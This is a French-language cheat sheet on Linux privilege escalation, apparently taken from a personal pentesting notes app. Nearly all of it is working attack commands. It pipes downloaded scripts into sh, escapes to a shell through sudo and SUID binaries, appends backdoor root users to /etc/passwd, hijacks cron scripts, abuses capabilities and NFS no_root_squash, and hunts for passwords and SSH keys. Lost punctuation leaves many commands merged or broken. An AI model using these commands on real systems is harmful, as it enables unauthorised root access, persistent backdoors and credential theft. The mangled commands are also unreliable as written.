privesclinuxsudo
MDstable
Privilege Escalation Linux
Élévation de privilèges sur systèmes Linux
snippetadvanced 2025-05-10 3 min read
privesclinuxsudosuidcron
Énumération automatique
bash
# LinPEAScurl -L https//github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh# LinEnumwget https//raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.shchmod x LinEnumsh && /LinEnum.sh# Linux Smart Enumerationwget https//raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.shchmod x lsesh && /lse.sh -l 1
Sudo
bash
# Lister les droits sudosudo -l# Chercher dans GTFOBins# https://gtfobins.github.io/# Exemple : sudo vimsudo vim -c ':!/bin/bash'# Exemple : sudo findsudo find -exec /bin/bash ; -quit# Exemple : sudo awksudo awk 'BEGIN {system("/bin/bash")}'# Exemple : sudo pythonsudo python3 -c 'import os; os.system("/bin/bash")'
SUID / SGID
bash
# Fichiers SUIDfind -perm -4000 -type f 2>/dev/null# Fichiers SGIDfind -perm -2000 -type f 2>/dev/null# Writable + SUIDfind -perm -4000 -writable 2>/dev/null
Exploitation SUID courants
bash
# bash SUID/bin/bash -p# cp SUID — copier /etc/passwd éditécp /etc/passwd /tmp/passwd.bakecho "root2:$(openssl passwd hacked):0:0:root:/root:/bin/bash" >> /etc/passwdsu root2 # mdp: hacked# find SUIDfind -exec /bin/bash -p ; -quit
Cron jobs
bash
# Lister les cronscat /etc/crontabls -la /etc/cron.crontab -l# Surveiller en temps réelwatch -n 1 'ls -la /tmp'pspy64 # surveiller les processus sans être root# Script writable exécuté par rootecho 'chmod u+s /bin/bash' >> /path/to/cron-script.sh# Attendre l'exécution, puis :/bin/bash -p
Capabilities
bash
# Lister les capabilitiesgetcap -r 2>/dev/null# python3 cap_setuidpython3 -c "import os; os.setuid(0); os.system('/bin/bash')"# perl cap_setuidperl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash"'
Mots de passe et credentials
bash
# Historique bashcat /.bash_historycat /home//._history# Fichiers de configgrep -r "password" /etc/ 2>/dev/nullgrep -r "password" /var/www/ 2>/dev/null# Clés SSHfind -name "id_rsa" 2>/dev/nullfind -name "*.pem" 2>/dev/null# Base de donnéesfind -name "*.db" -o -name "*.sqlite" 2>/dev/null
Writable /etc/passwd
bash
# Générer un hashopenssl passwd -1 -salt salt hacked# Ajouter une ligne rootecho 'backdoor:$1$salt$HASH:0:0:root:/root:/bin/bash' >> /etc/passwd# Se connectersu backdoor # mdp: hacked
NFS no_root_squash
bash
Variables
{{TARGET}}
# Côté attaquant : vérifier les exportsshowmount -e {{TARGET}}# Monter le partagemount -t nfs {{TARGET}}/share /mnt/nfs# Créer un binaire SUIDcp /bin/bash /mnt/nfs/bashchmod s /mnt/nfs/bash# Côté cible :/tmp/bash -p
Kernel exploits
bash
Variables
{{KERNEL_VERSION}}
# Version du kerneluname -acat /etc/os-release# Rechercher des exploitssearchsploit linux kernel {{KERNEL_VERSION}}# DirtyCow, DirtyPipe, OverlayFS, etc.
💡 Tip —
Toujours essayer les méthodes manuelles (sudo -l, suid) avant de lancer des outils automatiques qui peuvent alerter les IDS.
OPS·BRAIN v1.075 notes · Securitylocal